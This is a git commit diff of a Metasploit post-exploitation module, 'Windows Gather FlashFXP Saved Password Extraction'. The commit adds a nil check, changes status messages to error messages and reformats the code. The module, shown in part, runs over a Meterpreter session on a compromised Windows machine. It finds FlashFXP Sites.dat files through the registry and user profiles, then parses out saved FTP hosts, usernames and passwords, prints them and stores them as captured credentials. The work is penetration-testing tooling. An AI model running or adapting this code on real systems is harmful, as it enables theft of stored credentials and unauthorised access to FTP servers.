handle possible nil return value

git-svn-id: file:///home/svn/framework3/trunk@13879 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-10-11 21:01:22 +00:00
parent 4a73a21277
commit f1f1d16f8b
1 changed files with 26 additions and 25 deletions

View File

@ -18,31 +18,30 @@ class Metasploit3 < Msf::Post
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
'Description' => %q{
This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
finds saved FTP connections in the Sites.dat file. },
'License' => MSF_LICENSE,
'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
super(update_info(info,
'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
'Description' => %q{
This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
finds saved FTP connections in the Sites.dat file. },
'License' => MSF_LICENSE,
'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def run
@fxppaths = []
def run
#Checks if the Site data is stored in a generic location for all users
flash_reg = "HKLM\\SOFTWARE\\FlashFXP"
flash_reg_ver = registry_enumkeys("#{flash_reg}")
#Ini paths
@fxppaths = []
unless flash_reg_ver.nil?
software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
generic_path = registry_getvaldata(software_key, "InstallerDataPath")
generic_path = registry_getvaldata(software_key, "InstallerDataPath") || ""
unless generic_path.include? "%APPDATA%"
@fxppaths << generic_path + "\\Sites.dat"
end
@ -68,7 +67,7 @@ class Metasploit3 < Msf::Post
@fxppaths << "#{path}#{sub}\\Sites.dat"
end
rescue
print_status("The following path could not be accessed or does not exist: #{path}")
print_error("The following path could not be accessed or does not exist: #{path}")
end
end
@ -77,9 +76,11 @@ class Metasploit3 < Msf::Post
config = client.fs.file.new(filename,'r')
parse = config.read
ini = Rex::Parser::Ini.from_s(parse)
if ini == {}
print_status("Unable to parse file, may be encrypted using external password: #{filename}")
print_error("Unable to parse file, may be encrypted using external password: #{filename}")
end
ini.each_key do |group|
host = ini[group]['IP']
username = ini[group]['user']
@ -90,12 +91,12 @@ class Metasploit3 < Msf::Post
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
report_auth_info(
:host => host,
:port => port,
:sname => 'FTP',
:user => username,
:pass => passwd
)
:host => host,
:port => port,
:sname => 'FTP',
:user => username,
:pass => passwd
)
end
rescue
print_status("Either could not find or could not open file #{filename}")